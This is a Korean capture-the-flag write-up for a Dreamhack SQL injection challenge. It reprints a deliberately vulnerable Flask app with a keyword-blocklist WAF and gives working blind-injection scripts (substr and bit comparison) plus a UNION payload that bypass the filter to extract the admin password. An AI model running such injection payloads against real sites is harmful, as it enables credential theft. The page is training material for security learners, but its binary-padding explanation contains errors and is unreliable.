본문 바로가기

Web Hacking/Dreamhack

[Dreamhack] sql injection bypass WAF write up

 

SQL Injection을 막는 WAF를 간단하게 설정해 놓고 admin의 pw를 구하는 간단한 문제이다. 바로 문제와 코드를 보자!

 

 

먼저 문제이다. 이전 문제와 같이 입력 폼이 존재하며 내 쿼리문을 볼 수 있다. 코드는,

 

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True

    return False


@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
        else:
            return template.format(uid=uid, result='')

    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

 

위와 같다. 가장 중요한 WAF 설정 부분을 보자.

 

 

위와 같은 필터링들을 거르고 있으나 싱글쿼터는 여전히 유효하기 때문에 sqli 취약점이 발생한다. 바로 admin의 pw 길이를 구하는 코드를  짜보자.

 

내 풀이

 

1. 문자 비교를 통한 blind sqli

 

 

admin's pw length


 

필터 되는 키워드들을 보면 공백, or, and가 필터 되기 때문에 각각 tab키, ||, &&으로 우회를 했다.

 

 

 

admin's pw leak


구한 길이를 토대로 pw를 구하는 코드를 짜면 된다. 먼저 substr은 필터링이 안 되고 있으므로 substr 함수를 이용할 것이며, 만약 이 함수가 필터링 되고 있다면 정규표현식, like 연산자들을 이용해서 우회가 가능하며 문자열은 16진수를 활용했다.

 

 

 

exploit


import requests
import string

ch = string.ascii_letters + string.punctuation	+ string.digits

param = {"uid": ""}
url = "http://host3.dreamhack.games:18121/"

query = "a'	||	uid=0x61646d696e	&&	length(upw)={idx}#"


pw_length = 0

for i in range(1, 50):
    param["uid"] = query.format(idx=i)
    pw_length += 1
    result = requests.get(url, params=param)
    if "admin" in result.text:
        print(f"admin's pw length is {pw_length}")
        break

query = "a'	||	uid=0x61646d696e	&&	substr(upw,{idx},1)='{cha}'#"

admin_pw = ""

for i in range(1, pw_length+1):
    for c in ch:
        param["uid"] = query.format(idx=i, cha=c)
        result = requests.get(url, params=param)

        if "admin" in result.text:
            admin_pw += c
            print(f"admin's pw is {admin_pw}")
            break

 

위는 전체 페이로드이며 다음은 실행 결과이다.

 

 

 

2. bit 비교를 통한 blind sqli

import requests
import string

ch = string.ascii_letters + string.punctuation	+ string.digits

param = {"uid": ""}
url = "http://host3.dreamhack.games:9196/"

query = "a'	||	uid=0x61646d696e	&&	substr(lpad(bin(Ord(substr(upw,{},1))),7.0),{},1)=1#"
flag_bit = ""
admin_pw = ""
i = 0
while(1):
    i += 1
    flag_bit = ""
    for j in range(1, 8):
        param["uid"] = query.format(i,j)
        res = requests.get(url, params=param)
        if "admin" in res.text:
            flag_bit += str(1)
        else:
            flag_bit += str(0)
    admin_pw += chr(int(flag_bit, 2))
    print(admin_pw)

    if admin_pw[-1] == "}":
        break

 

 

우선 bit 비교가 진짜 훨씬 빠르다.. 위 코드에서 중요한 점만 살펴보자. 가장 중요한 부분은 lpad함수이다.

 

lpad함수의 원형은 다음과 같다.

 

lpad([패딩을 추가할 문자열], [패딩이 추가된 후 길이], [패딩시킬 문자열])

 

lpad함수는 왼쪽부터 패딩을 추가하는 함수이다. 이 함수가 필요한 이유는 mysql의 bin함수의 특징 때문이다. mysql의 bin함수는 입력 받은 값의 2진수 값을 리턴하지만 앞의 0을 생략한다.

 

예를들어서 8을 입력할 경우 8의 2진수 값은 7개의 비트로 표현할 수 있으며 표현 시 0111000으로 표현이 가능하다. 하지만 앞의 0은 생략 후 출력한다. 따라서 패딩이 필요하다.

 

 

 

드림핵 풀이

 

문제 코드를 잘 보면

 

쿼리 실행결과의 2번째 값을 html 코드에 포함시키고 있다. DB 초기 설정 값을 통해 2번째 값이 뭔지 보자.

uid값이다. 만약 2번째 값을 upw로 바꾸면 upw를 바로 구할 수 있다.

 

드림핵에선 union을 이용해서 뒤 쿼리가 upw를 반환하도록 했다. 페이로드는 다음과 같으며 필터링 우회는 대소문자를 구분하지 않는 점을 이용했다.

 

"http://host3.dreamhack.games:20225/?uid=%27Union%09Select%09null,upw,null%09From%09user%09where%09uid=%27Admin%27%23"

 

 

+ select * from where uid='' -> 이 쿼리문은 원래 같으면 아무 것도 반환하지 않지만, union과 결합하면 컬럼명을 반환하게 된다.